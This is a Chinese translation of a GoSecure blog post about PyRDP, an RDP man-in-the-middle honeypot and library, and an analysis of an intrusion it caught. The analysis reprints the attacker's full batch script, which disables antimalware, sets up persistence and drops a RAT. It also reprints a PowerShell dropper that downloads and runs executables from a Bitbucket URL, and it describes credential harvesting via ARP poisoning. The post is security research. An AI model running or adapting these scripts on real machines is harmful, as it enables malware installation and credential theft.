作为在GoSecure为期四个月的实习的一部分工作,我们创建一个远程桌面协议(RDP)的蜜罐。为了实现这一点,我们使用了一个linux服务器,上面带有一个RDP中间人(MITM)程序,它可将流量重定向到真正的windows Server上。
在搜索利用工具时,我们发现了RDPY,一个自带MITM的python RDP代码库。然而,RDPY在实现我们想象中的用例时,在特性和设计选择方面都存在若干限制。这迫使我们创建了自己的代码库,它重用了RDPY中的一些部分代码以及其概念。
在这篇文章中,我们将展示我们最新开发的开源项目PyRDP( https://github.com/gosecure/pyrdp ),它既可以当作MITM,也可以用作研究RDP协议的代码库之一。我们将通过描述蜜罐所捕获的恶意用户的恶意行为来演示以下两个用例。
兔子洞桌面协议理解RDP中使用的所有底层协议是编写这个库最困难的部分之一。仅仅彻底明白部分底层代码就是一个不小的挑战。单单连接序列就使用了四个协议:TPKT、X224、MCS(T.125)和GCC(T.124)。此外,有时连接会使用TLS加密,有时使用会RC4加密。这意味着如果协议要求,我们就必须在几个连接数据包之后启动TLS。此外,有时客户端希望使用CredSSP进行身份验证,有时则不希望,因此我们需要特别注意这一点。而且,一旦建立了连接,就可以切换到一个不使用上述任何协议的快速传输路径方案。此外,有时图形作为位图图像发送,有时通过动态虚拟信道发送,有时它们传送时时GDI绘图命令。
是不是已经头晕了?我们也是。这就是为什么我们会制作一个简单的图表( https://gosecure.net/wp-content/uploads/2018/12/rdeepfried-1.png )来解释连接顺序。
严格来说,如果您想要更深入地了解RDP如何工作,MSDN是一个很好的起点。为了更好的帮助到你,这里有一个PyRDP解析RDP流量的图表:
PyRDP 关于RDP中间人技术
RDP是一个拥有非常丰富特性的协议。它支持基本的用户交互,如鼠标和键盘以及图形更新。它还具有诸如声音回放、剪贴板共享和设备重定向(用于打印机和驱动器)等高级特性。换句话说,在搭建PyRDP的MITM代码时,我们有很多工作要做。不幸的是,在实习期间,我们无法实现RDP中的所有内容――这需要很长时间。我们主要关注于对蜜罐来说非常重要的特性。当然,我们试图使核核心代码心具有较强的通用性,以便更容易地添加新特性。
对于那些不熟悉这个概念的人,这里有一个图表解释我们的MITM做了什么:
凭证沉库
对于MITM,我们想要实现的特性之一是能够自动更改用户输入的用户名和密码。这样经过MITM的任何桌面连接,不管使用的是何用户名和密码,都会连接成功。这可以让我们观测到恶意用户在获得实际的RDP会话(而不仅仅是登录屏幕)时做了什么。
文件收集我们所实现的RDP的高级特性之一是虚拟通道。这属于RDP“插件”,具有各种用途:剪贴板共享、驱动器映射、声音回放等。当客户端连接到驱动器重定向通道并发送文件时,我们的MITM会将其保存到磁盘。这对恶意软件分析人员来说很有用,因为他们可以仔细检索文件并进行文件分析。
剪贴板间谍当客户端连接到剪贴板通道并将文本复制到其主机上的剪贴板时,MITM会记录复制的数据――即使没有生成粘贴操作。即使鼠标不在RDP窗口内,这也是有效的。
其他通道其他虚拟通道会为客户端无缝配合工作。而且MITM不执行任何特殊处理:它只是将数据转发到真正的服务器,不会解析或修改它。
RDP播放器我们真正喜欢的RDPY的一个特性是能够重放RDP会话并查看发生了什么。我们的RDP播放器能够接收实时RDP连接数据,来能实时查看。通过这种方式,您可以观测到攻击者通过RDP干了啥!
https://www.youtube.com/embed/eB7RC9FmL6Q?feature=oembed截至目前,MITM记录了以下操作事件:
休息时间:如何用Wireshark中修复RDP磁盘扇区Wireshark有一个RDP解析器,但是RDP中的底层协议的不会被正确解析。这导致只能解析最初的几个数据包。因为Wireshark是我们的主要工具之一,所以我们认为需要解决这个问题。Wireshark团队很快改进程序,并将在未来的版本中提供。让我们从这出发:
to:
使用PyRDP作为代码库:Debbie事件
一旦有了PyRDP的初始版本,我们就把它部署到了互联网上。我们在公网上公开了虚拟Windows主机的RDP端口,并配合MITM,以了解它在公网会接受到什么样的数据。
后门扫描器我们首先注意到的是,我们收到了很多陌生的客户端的连接。这些客户端进入验证页面后按5次shift,然后断开连接。这些是扫描器在扫描后门,他们期望在五次按键后弹出一个命令框提示,而不是通常的粘性键窗口。这主要涉及到一个将粘性键可执行文件进行替换的后门(将C:WindowsSystem32sethc.exe替换为cmd.exe来实现)。我们发现这些扫描器很可能就是GitHub上的工具。
由于我们希望这些扫描器认为我们的服务器存在漏洞,所以我们在虚拟机上上部署了后门作为诱饵。
Debbie事件几天后,我们发现到我们的VM上的帐户都不能访问:我们被攻击了!但是,我们找不到任何关于此次攻击的重放文件。我们发现,早期版本的PyRDP中有一个bug阻止了重放文件的保存。尽管如此,我们还是想知道发生了什么以及何时发生的。于是,我们开始对这个恶意用户――我们称为Debbie――进行调查。
寻找Debbie我们在MITM机器上的数据包捕获文件(pcaps)找到了攻击发生时段的数据包。使通过使用Wireshark的mergecap,我们将10天的pcap文件合并为一个600兆字节的pcap文件。我们使用了一个非常酷的Wireshark特性,它将隐藏在Statistics -> Conversations -> TCP中,展示了两个端点之间的对话分组:
现在我们可以根据地址、端口、发送的数据包数量、持续时间等进行排序。要准确定位我们寻找的网络对话,我们需要一个指标。人们可能会认为会话持续时间是一个好的起点。然而并不是,因为我们有很多很长(最多4天)的对话,很少进行数据交换。发送的总字节数也是一个糟糕的指标,因为我们有很多会话的大多数通信量仅来自服务器之间(没有用户交互)。最后解决方案是通过数据包A->B的会话进行排序,因为它含有一个确实与服务器进行过交互的ip:
Bingo!我们现在得到了两组清晰而突出的会话。幸运的是,Debbie使用TLS加密连接。由于MITM记录了TLS主机密钥,所以我们能够使用Wireshark来解密会话。
通过对流量的快速分析,Debbie使用驱动器重定向通道将文件传输到虚拟机来攻击它。我们还发现Debbie使用了RDesktop,因为该软件有很多硬编码常数,所以我们很容易就识别出了它。
利用PCAP文件进行RDP重放我们决心重放整体流程。尽管我们的早期版本的PyRDP没有保存重放文件,但我们拥有建立重放所需的所有数据。所以,我们决定编写一个脚本,从捕获的数据包中创建重放。这同样也是测试我们项目是否可用作RDP库的好机会。我们使用Wireshark的“Export PDUs to file”特性来生成已解密流量的pcap文件。
脚本链接如下(注意:在您阅读本文时,库文件可能已经更改,并且脚本可能不能正常工作): https://gist.github.com/xshill/a4a41b76bb980f766657a28989c84a
如您所见,使用scapy和PyRDP从pcap文件创建重放需要100多行代码。考虑到RDP协议的复杂性,这很正常。这就是我们用来创建重放的所有数据。
从PCAP重构传输过的文件我们在重放中看到的一件事是,Debbie从她的计算机上传了一个名为“o.bat”的文件,并执行它。我们通过仅使用驱动器重定向信道(t124.channelId==1007)过滤,导出数据来实现文件复现。最后我们得到了以下o.bat文件:
REG ADD "HKLMSOFTWAREMicrosoftMicrosoft AntimalwareExclusionsExtensions" /v ".exe" /t REG_DWORD /d 0 /f & cls REG ADD "HKEY_LOCAL_MACHINESOFTWAREMicrosoftMicrosoft AntimalwareExclusionsExtensions" /v ".exe" /t REG_DWORD /d 0 /f & cls powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionExtension ".exe" & cls copy \tsclientsharewnupdate.exe %SYSTEMROOT% & cls copy \tsclientsharewnupdate.exe c:windowssystem32 & cls SCHTASKS /Create /SC HOURLY /MO 1 /TN MicrosoftwindowsTasksServupdate /TR %SYSTEMROOT%wnupdate.exe & cls SCHTASKS /Create /SC ONLOGON /TN MicrosoftwindowsDMPUptools /TR %SYSTEMROOT%wnupdate.exe & cls copy \tsclientsharetemp4.exe %temp% & cls start %temp%temp4.exe & cls cd c: if not exist "C:programdata" mkdir programdata & cls cd programdata & cls copy \tsclientsharesvchost.exe & cls attrib +s +h "c:programdata" & cls start /B svchost.exe & cls >nul ping -n 15 localhost & cls taskkill /F /IM temp4.exe & cls del %temp%temp4.exe & cls copy \tsclientsharetemp2.exe %temp% & cls start %temp%temp2.exe & cls >nul ping -n 25 localhost & cls taskkill /F /IM temp2.exe & cls del %temp%temp2.exe & cls taskkill /F /IM taskmgr.exe & cls net accounts /maxpwage:unlimited & cls Net Config Server /autodisconnect:-1 & cls del c:windowssystem32utilman.exe & cls del c:windowssystem32sethc.exe & cls reg delete "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutilman.exe" /v Debugger /f & cls reg delete "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /f & exit如您所见,这个脚本会将4个其他文件复制到系统中。在简要分析之后,我们发现这些文件中有一个是LimeRAT程序,它是一个带有Monero miner模块的远程木马。LimeRAT会使用Pastebin网站来获取其控制者命令。但是,当我们为这个Pastebin的URL时,已经太晚了:该文件拥有者已经将文件设置为私有。
我们发现的其他文件在VirusTotal网站上都有所属的散列标识:
svchost.exehttps://www.virustotal.com/#/file/aee1df712280d3c60ef60f6a01c1de97813eb7782bfcaf30445196217a68e8d2/detection
https://www.virustotal.com/#/file/c76a06608117953a946badff6c6b59385d0aede8f12673adb68c9c6bb9b191eb/detection
wnupdate.exehttps://www.virustotal.com/#/file/4f5b2b0831f53b4ec0ad234c0225a9596fc9c7a9ef366dd01be31ae9e324f47e/detection
有趣的是,我们还发现了一个脚本,它利用Bitbucket向受害者机器传递恶意软件:
@echo off PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-ob ject System.Net.WebClient).DownloadFile('https://bitbucket.org/user3333/unic/downloads/servtool.exe','%programdata%servtool.exe');Start-Process '%programdata%servtool.exe' PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-ob ject System.Net.WebClient).DownloadFile('https://bitbucket.org/user3333/unic/downloads/svhost.exe','%temp%svhost.exe');Start-Process '%temp%svhost.exe' ping -n 10 localhost del %programdata%servtool.exe del %temp%svhost.exe在编写本文时,Bitbucket上的文件已经被下载了30000多次。
圣诞恶作剧:渗透演示支持我们开发这个工具的另一个原因是关于渗透测试。很多系统管理员都不知道在证书错误的情况下单击RDP连接的风险。我们希望我们的工具在ARP中毒或流量重定向场景中能够很好地工作,以收集高权限的用户凭证。还有什么比在LAN上执行Bettercap中毒攻击并将用户重定向到特殊机器更好的攻击展示吗?任何试图在该网络上使用RDP并忽视密钥警告的人都会有特殊的礼物在等待他们。以下是演示:
https://www.youtube.com/embed/VERb6FhYUtc?feature=oembed 结论在互联网上公开我们的MITM的这段时间,我们最后看到的完整连接比我们预期的要少。基本都是扫描器(每天数百次)。与虚拟机进行有意义的交互其实很少。
我们注意到的另一件事情是,RDP代码库要兼容各种RDP客户端和扫描器是有多么困难。尽管RDP规范编写得很好,但在每个客户机和服务器上的实现都有差异。例如,RDP规范要求客户端在连接序列的开始发送ErectDomainRequest这个包。但由于这个包实际上没有任何效果,所以Windows RDP在实际应用上并不需要它。而很多像这样的小问题使得我们很难支持所有的客户端和扫描器。
本着圣诞节的精神,我们决定立即在Github上发布我们的项目,由GPLv3授权。现在,我们想看看我们能够捕获什么样的恶意软件,并在渗透业务中对我们的MITM进行业务使用测试。我们还想往MITM加入更多的特性,比如一个活动驱动器枚举程序来列出客户机映射的驱动器的内容。
Emilio and Francis
原文链接:https://gosecure.net/2018/12/19/rdp-man-in-the-middle-smile-youre-on-camera/?from=timeline